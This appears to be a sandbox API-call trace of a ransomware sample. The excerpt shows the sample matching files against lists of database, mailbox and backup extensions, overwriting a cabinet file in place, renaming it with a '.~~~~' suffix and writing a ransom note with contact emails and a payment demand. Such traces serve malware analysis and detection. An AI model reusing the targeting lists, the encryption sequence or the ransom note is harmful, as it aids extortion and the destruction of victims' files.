	[0076.022] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjLR.cab", lpSrch=".BAK") returned 0x0
	[0076.022] lstrlenW (lpString=".BAC") returned 4
	[0076.022] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjLR.cab", lpSrch=".BAC") returned 0x0
	[0076.022] lstrlenW (lpString=".dbs") returned 4
	[0076.022] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjLR.cab", lpSrch=".dbs") returned 0x0
	[0076.022] lstrlenW (lpString=".vhdx") returned 5
	[0076.022] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjLR.cab", lpSrch=".vhdx") returned 0x0
	[0076.022] lstrlenW (lpString=".NDF") returned 4
	[0076.022] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjLR.cab", lpSrch=".NDF") returned 0x0
	[0076.022] lstrlenW (lpString=".dat") returned 4
	[0076.022] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjLR.cab", lpSrch=".dat") returned 0x0
	[0076.022] lstrlenW (lpString=".DBS") returned 4
	[0076.023] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjLR.cab", lpSrch=".DBS") returned 0x0
	[0076.023] lstrlenW (lpString=".CKP") returned 4
	[0076.023] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjLR.cab", lpSrch=".CKP") returned 0x0
	[0076.023] lstrlenW (lpString=".edb") returned 4
	[0076.023] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjLR.cab", lpSrch=".edb") returned 0x0
	[0076.023] lstrlenW (lpString=".PST") returned 4
	[0076.023] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjLR.cab", lpSrch=".PST") returned 0x0
	[0076.023] lstrlenW (lpString=".dbf") returned 4
	[0076.023] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjLR.cab", lpSrch=".dbf") returned 0x0
	[0076.023] lstrlenW (lpString=".SQL") returned 4
	[0076.023] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjLR.cab", lpSrch=".SQL") returned 0x0
	[0076.023] lstrlenW (lpString=".pst") returned 4
	[0076.023] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjLR.cab", lpSrch=".pst") returned 0x0
	[0076.023] lstrlenW (lpString=".dbv") returned 4
	[0076.023] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjLR.cab", lpSrch=".dbv") returned 0x0
	[0076.023] lstrlenW (lpString=".SDF") returned 4
	[0076.023] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjLR.cab", lpSrch=".SDF") returned 0x0
	[0076.023] lstrlenW (lpString=".dtxs") returned 5
	[0076.023] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjLR.cab", lpSrch=".dtxs") returned 0x0
	[0076.023] lstrlenW (lpString=".db3") returned 4
	[0076.023] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjLR.cab", lpSrch=".db3") returned 0x0
	[0076.023] lstrlenW (lpString=".OST") returned 4
	[0076.023] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjLR.cab", lpSrch=".OST") returned 0x0
	[0076.023] lstrlenW (lpString=".dbx") returned 4
	[0076.023] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjLR.cab", lpSrch=".dbx") returned 0x0
	[0076.023] lstrlenW (lpString=".DB3") returned 4
	[0076.023] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjLR.cab", lpSrch=".DB3") returned 0x0
	[0076.023] lstrlenW (lpString=".DAT") returned 4
	[0076.023] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjLR.cab", lpSrch=".DAT") returned 0x0
	[0076.023] lstrlenW (lpString=".VHDX") returned 5
	[0076.023] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjLR.cab", lpSrch=".VHDX") returned 0x0
	[0076.023] lstrlenW (lpString=".ndf") returned 4
	[0076.024] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjLR.cab", lpSrch=".ndf") returned 0x0
	[0076.024] lstrlenW (lpString=".DB") returned 3
	[0076.024] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjLR.cab", lpSrch=".DB") returned 0x0
	[0076.024] lstrlenW (lpString=".sql") returned 4
	[0076.024] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjLR.cab", lpSrch=".sql") returned 0x0
	[0076.024] lstrlenW (lpString=".MYD") returned 4
	[0076.024] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjLR.cab", lpSrch=".MYD") returned 0x0
	[0076.024] lstrlenW (lpString=".DBT") returned 4
	[0076.024] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjLR.cab", lpSrch=".DBT") returned 0x0
	[0076.024] lstrlenW (lpString=".ACCDB") returned 6
	[0076.024] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjLR.cab", lpSrch=".ACCDB") returned 0x0
	[0076.024] lstrlenW (lpString=".fdb") returned 4
	[0076.024] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjLR.cab", lpSrch=".fdb") returned 0x0
	[0076.024] lstrlenW (lpString=".bak") returned 4
	[0076.024] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjLR.cab", lpSrch=".bak") returned 0x0
	[0076.024] lstrlenW (lpString=".myd") returned 4
	[0076.024] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjLR.cab", lpSrch=".myd") returned 0x0
	[0076.024] lstrlenW (lpString=".DTXS") returned 5
	[0076.024] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjLR.cab", lpSrch=".DTXS") returned 0x0
	[0076.024] lstrlenW (lpString=".ckp") returned 4
	[0076.024] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjLR.cab", lpSrch=".ckp") returned 0x0
	[0076.024] lstrlenW (lpString=".dbt") returned 4
	[0076.024] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjLR.cab", lpSrch=".dbt") returned 0x0
	[0076.024] lstrlenW (lpString=".db") returned 3
	[0076.024] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjLR.cab", lpSrch=".db") returned 0x0
	[0076.024] lstrlenW (lpString=".TXT") returned 4
	[0076.024] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjLR.cab", lpSrch=".TXT") returned 0x0
	[0076.024] lstrlenW (lpString=".MDF") returned 4
	[0076.024] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjLR.cab", lpSrch=".MDF") returned 0x0
	[0076.024] lstrlenW (lpString=".bdb") returned 4
	[0076.024] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjLR.cab", lpSrch=".bdb") returned 0x0
	[0076.024] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0076.025] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjLR.cab", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0076.025] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x3a7030
	[0076.025] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362f90
	[0076.025] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x39fe28) returned 1
	[0076.026] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362f90 | out: pbBuffer=0x362f90) returned 1
	[0076.026] CryptReleaseContext (hProv=0x39fe28, dwFlags=0x0) returned 1
	[0076.026] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f90 | out: hHeap=0x300000) returned 1
	[0076.026] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368ba0
	[0076.026] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x39b740
	[0076.026] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=19601587933) returned 1
	[0076.026] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0x9737f190, dwHighDateTime=0x1d60e1e)) 
	[0076.026] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623c0
	[0076.026] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0076.026] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0076.026] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x27fe0c0
	[0076.026] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0076.026] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fe0c0 | out: hHeap=0x300000) returned 1
	[0076.026] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fcfe0
	[0076.026] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0076.026] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3e78e8
	[0076.026] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fcfe0 | out: hHeap=0x300000) returned 1
	[0076.026] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a8008
	[0076.026] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e78e8 | out: hHeap=0x300000) returned 1
	[0076.026] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0076.026] GetLastError () returned 0x0
	[0076.027] SetLastError (dwErrCode=0x0) 
	[0076.027] GetLastError () returned 0x0
	[0076.027] SetLastError (dwErrCode=0x0) 
	[0076.027] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0076.027] GetLastError () returned 0x0
	[0076.027] SetLastError (dwErrCode=0x0) 
	[0076.027] GetLastError () returned 0x0
	[0076.027] SetLastError (dwErrCode=0x0) 
	[0076.027] GetLastError () returned 0x0
	[0076.027] SetLastError (dwErrCode=0x0) 
	[0076.027] GetLastError () returned 0x0
	[0076.027] SetLastError (dwErrCode=0x0) 
	[0076.028] GetLastError () returned 0x0
	[0076.028] SetLastError (dwErrCode=0x0) 
	[0076.028] GetLastError () returned 0x0
	[0076.028] ReadFile (in: hFile=0x11c, lpBuffer=0x280bfd0, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x280bfd0*, lpNumberOfBytesRead=0x24dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0076.076] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0xfffe7000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0076.076] WriteFile (in: hFile=0x11c, lpBuffer=0x280bfd0*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x280bfd0*, lpNumberOfBytesWritten=0x24dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0076.078] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x280bfd0 | out: hHeap=0x300000) returned 1
	[0076.078] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0076.078] WriteFile (in: hFile=0x11c, lpBuffer=0x368ba0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368ba0*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0076.081] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0076.081] WriteFile (in: hFile=0x11c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0076.081] CloseHandle (hObject=0x11c) returned 1
	[0076.082] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3a55d8
	[0076.082] MoveFileW (lpExistingFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\projlr.cab"), lpNewFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjLR.cab.~~~~" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\projlr.cab.~~~~")) returned 1
	[0076.085] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a55d8 | out: hHeap=0x300000) returned 1
	[0076.085] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0076.085] GetLastError () returned 0x0
	[0076.085] RtlWakeConditionVariable () returned 0x365f70
	[0076.085] GetCurrentThreadId () returned 0x3a4
	[0076.085] GetCurrentThreadId () returned 0x3a4
	[0076.085] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e7450
	[0076.085] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e7b88 | out: hHeap=0x300000) returned 1
	[0076.085] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fa8c8 | out: hHeap=0x300000) returned 1
	[0076.085] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e7b88
	[0076.085] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Read~ME.txt" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\read~me.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x11c
	[0076.086] lstrlenW (lpString="Dear user! Your data is encrypted!\r\n\r\nAny attempts to decrypt your data yourself will lead to loss of information !! Be careful!\r\n\r\nOur mail:\r\n1. cryptofiles20202020@protonmail.com\r\n2. cryptofiles20202020@cock.li\r\n\r\nAttention!\r\n\r\nDecryption of your files is a paid service.\r\nIf you do not have money, then you can not apply. All is serious.\r\nContact us at the address and indicate your id in the subject line.\r\nYour ID: ff9adce5d1") returned 430
	[0076.086] WriteFile (in: hFile=0x11c, lpBuffer=0x368100*, nNumberOfBytesToWrite=0x35c, lpNumberOfBytesWritten=0x24dfed8, lpOverlapped=0x0 | out: lpBuffer=0x368100*, lpNumberOfBytesWritten=0x24dfed8*=0x35c, lpOverlapped=0x0) returned 1
	[0076.087] CloseHandle (hObject=0x11c) returned 1
	[0076.088] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e7b88 | out: hHeap=0x300000) returned 1
	[0076.088] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e7450 | out: hHeap=0x300000) returned 1
	[0076.088] RtlWakeConditionVariable () returned 0x365f70
	[0076.088] GetCurrentThreadId () returned 0x3a4
	[0076.088] GetCurrentThreadId () returned 0x3a4
	[0076.088] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a8008
	[0076.088] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a3028 | out: hHeap=0x300000) returned 1
	[0076.088] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fa900 | out: hHeap=0x300000) returned 1
	[0076.088] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x27fbf50
	[0076.088] lstrlenW (lpString=".scr") returned 4
	[0076.088] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\.", lpSrch=".scr") returned 0x0
	[0076.088] lstrlenW (lpString=".cmd") returned 4
	[0076.088] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\.", lpSrch=".cmd") returned 0x0
	[0076.088] lstrlenW (lpString=".dll") returned 4
	[0076.088] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\.", lpSrch=".dll") returned 0x0
	[0076.088] lstrlenW (lpString=".bat") returned 4
	[0076.088] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\.", lpSrch=".bat") returned 0x0
	[0076.088] lstrlenW (lpString=".cpl") returned 4
	[0076.088] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\.", lpSrch=".cpl") returned 0x0
	[0076.088] lstrlenW (lpString=".sys") returned 4
	[0076.088] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\.", lpSrch=".sys") returned 0x0
	[0076.088] lstrlenW (lpString=".msc") returned 4
	[0076.089] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\.", lpSrch=".msc") returned 0x0
	[0076.089] lstrlenW (lpString=".com") returned 4
	[0076.089] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\.", lpSrch=".com") returned 0x0
	[0076.089] lstrlenW (lpString=".lnk") returned 4
	[0076.089] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\.", lpSrch=".lnk") returned 0x0
	[0076.089] lstrlenW (lpString=".msp") returned 4
	[0076.089] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\.", lpSrch=".msp") returned 0x0
	[0076.089] lstrlenW (lpString=".pif") returned 4
	[0076.089] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\.", lpSrch=".pif") returned 0x0
	[0076.089] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0076.089] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\.", lpSrch="msp\r\n.pif") returned 0x0
	[0076.089] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\." (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\."), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0076.089] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fbf50 | out: hHeap=0x300000) returned 1
	[0076.089] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a8008 | out: hHeap=0x300000) returned 1
	[0076.089] RtlWakeConditionVariable () returned 0x365f70
	[0076.089] GetCurrentThreadId () returned 0x3a4
	[0076.089] GetCurrentThreadId () returned 0x3a4
	[0076.089] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a8008
	[0076.089] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a30c0 | out: hHeap=0x300000) returned 1
	[0076.089] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fa938 | out: hHeap=0x300000) returned 1
	[0076.089] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x27fbf50
	[0076.089] lstrlenW (lpString=".scr") returned 4
	[0076.089] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\..", lpSrch=".scr") returned 0x0
	[0076.090] lstrlenW (lpString=".cmd") returned 4
	[0076.090] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\..", lpSrch=".cmd") returned 0x0
	[0076.090] lstrlenW (lpString=".dll") returned 4
	[0076.090] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\..", lpSrch=".dll") returned 0x0
	[0076.090] lstrlenW (lpString=".bat") returned 4
	[0076.090] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\..", lpSrch=".bat") returned 0x0
	[0076.090] lstrlenW (lpString=".cpl") returned 4
	[0076.090] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\..", lpSrch=".cpl") returned 0x0
	[0076.090] lstrlenW (lpString=".sys") returned 4
	[0076.090] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\..", lpSrch=".sys") returned 0x0
	[0076.090] lstrlenW (lpString=".msc") returned 4
	[0076.090] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\..", lpSrch=".msc") returned 0x0
	[0076.090] lstrlenW (lpString=".com") returned 4
	[0076.090] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\..", lpSrch=".com") returned 0x0
	[0076.090] lstrlenW (lpString=".lnk") returned 4
	[0076.090] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\..", lpSrch=".lnk") returned 0x0
	[0076.090] lstrlenW (lpString=".msp") returned 4
	[0076.090] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\..", lpSrch=".msp") returned 0x0
	[0076.090] lstrlenW (lpString=".pif") returned 4
	[0076.090] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\..", lpSrch=".pif") returned 0x0
	[0076.090] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0076.090] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\..", lpSrch="msp\r\n.pif") returned 0x0
	[0076.090] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\.." (normalized: "c:\\msocache\\all users"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0076.090] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fbf50 | out: hHeap=0x300000) returned 1
	[0076.090] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a8008 | out: hHeap=0x300000) returned 1
	[0076.091] RtlWakeConditionVariable () returned 0x365f70
	[0076.091] GetCurrentThreadId () returned 0x3a4
	[0076.091] GetCurrentThreadId () returned 0x3a4
	[0076.091] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e7450
	[0076.091] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e7c30 | out: hHeap=0x300000) returned 1
	[0076.091] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fa970 | out: hHeap=0x300000) returned 1
	[0076.091] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e7c30
	[0076.091] lstrlenW (lpString=".scr") returned 4
	[0076.091] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveLR.cab", lpSrch=".scr") returned 0x0
	[0076.091] lstrlenW (lpString=".cmd") returned 4
	[0076.091] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveLR.cab", lpSrch=".cmd") returned 0x0
	[0076.091] lstrlenW (lpString=".dll") returned 4
	[0076.091] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveLR.cab", lpSrch=".dll") returned 0x0
	[0076.091] lstrlenW (lpString=".bat") returned 4
	[0076.091] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveLR.cab", lpSrch=".bat") returned 0x0
	[0076.091] lstrlenW (lpString=".cpl") returned 4
	[0076.091] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveLR.cab", lpSrch=".cpl") returned 0x0
	[0076.091] lstrlenW (lpString=".sys") returned 4
	[0076.091] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveLR.cab", lpSrch=".sys") returned 0x0
	[0076.091] lstrlenW (lpString=".msc") returned 4
